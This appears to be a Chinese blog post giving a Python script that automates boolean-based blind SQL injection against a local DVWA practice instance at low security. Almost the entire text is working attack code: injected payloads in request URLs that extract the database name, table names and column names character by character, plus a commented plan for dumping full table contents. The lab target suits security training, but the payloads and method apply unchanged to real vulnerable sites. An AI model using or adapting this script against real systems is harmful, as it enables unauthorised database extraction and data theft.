python dvwa布尔盲注自动化脚本（level=low）

 仅供学习代码参考
 1#python dvwa布尔盲注自动化脚本
import requests
import string
import time
INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id="
token={"security":"low","PHPSESSID":"p7g937ga5glcvg8m5hv9o9a2ht"} #登录身份识别
COLUMN_NUM=11
COLUMN_LEN=15
dbLen=0
dbname=''
table_num=0
table=[]
table_name='' #暂存用
column=[]
column_name=''#暂存用
rightLen=0
 
time_start=time.time()
url=INIT_URL+"1&Submit=Submit#"
rightLen=len(requests.get(url=url,cookies=token).text)
print("正常返回文本长度："+str(rightLen))   
#1.猜解数据库名长度 poc：" 1'and (select length(database()))="+str(dbLen)#"
while True:
    dbLen +=1
    dbUrl=INIT_URL+"1'and (select length(database()))="+str(dbLen)+"%23&Submit=Submit#"
    print(dbUrl)
    if len(requests.get(url=dbUrl,cookies=token).text)==rightLen:
        print("数据库长度:"+str(dbLen))
        break
#2.猜解数据库名字 poc:" 1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1#"
for i in range(1,dbLen+1):
    for j in string.ascii_lowercase:
          dbnameUrl=INIT_URL+"1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1%23&Submit=Submit#"
          print(dbnameUrl)
          if len(requests.get(url=dbnameUrl,cookies=token).text)==rightLen:
              dbname+=j
              break

print("数据库名字："+dbname)

#3.猜解数据库表数量 poc：" 1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)#"
    
for i in range(100):
    dbUrl=INIT_URL+"1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)+"%23&Submit=Submit#"
    print(dbUrl)
    if len(requests.get(dbUrl,cookies=token).text)==rightLen:
        print("表数量"+str(i))
        table_num=i
        break

#4.猜解表名 poc:" 1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)))=103#

for i in range(table_num):
    for k in range(COLUMN_LEN):
        for j in range(48,123):
            dbUrl=INIT_URL+"1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='"+dbname+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
            print(dbUrl)
            if len(requests.get(dbUrl,cookies=token).text)==rightLen:
                table_name+=chr(j)
                print(table_name)
                break
    table.append(table_name)      
    table_name=''     
print("表名："+str(table))
       

 
#5.猜解列名 poc :" 1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)))=i   


for m in range(table_num):
    for i in range(COLUMN_NUM):
        for k in range(COLUMN_LEN):
            for j in range(48,123):
                dbUrl=INIT_URL+"1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"'and table_name='"+table[m]+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
                print(dbUrl)
                if len(requests.get(dbUrl,cookies=token).text)==rightLen:
                    column_name+=chr(j)
                    print(column_name)
                    break
        column_name+='/'
    column.append(column_name)
    column_name=''
print("列名："+str(column))

time_end=time.time()
print('用时：',time_end-time_start,'s')
print("正常返回文本长度："+str(rightLen))
print("数据库长度:"+str(dbLen))
print("数据库名字："+dbname)
print("表数量"+str(i))
print("表名："+str(table))
print("列名："+str(column))
#6.拖库 poc: 1'and (select ascii(substr((select column[i] from dbname.table[j] limit 0,1),1,1)))=i
#具体列具体猜解，全部猜解时间太高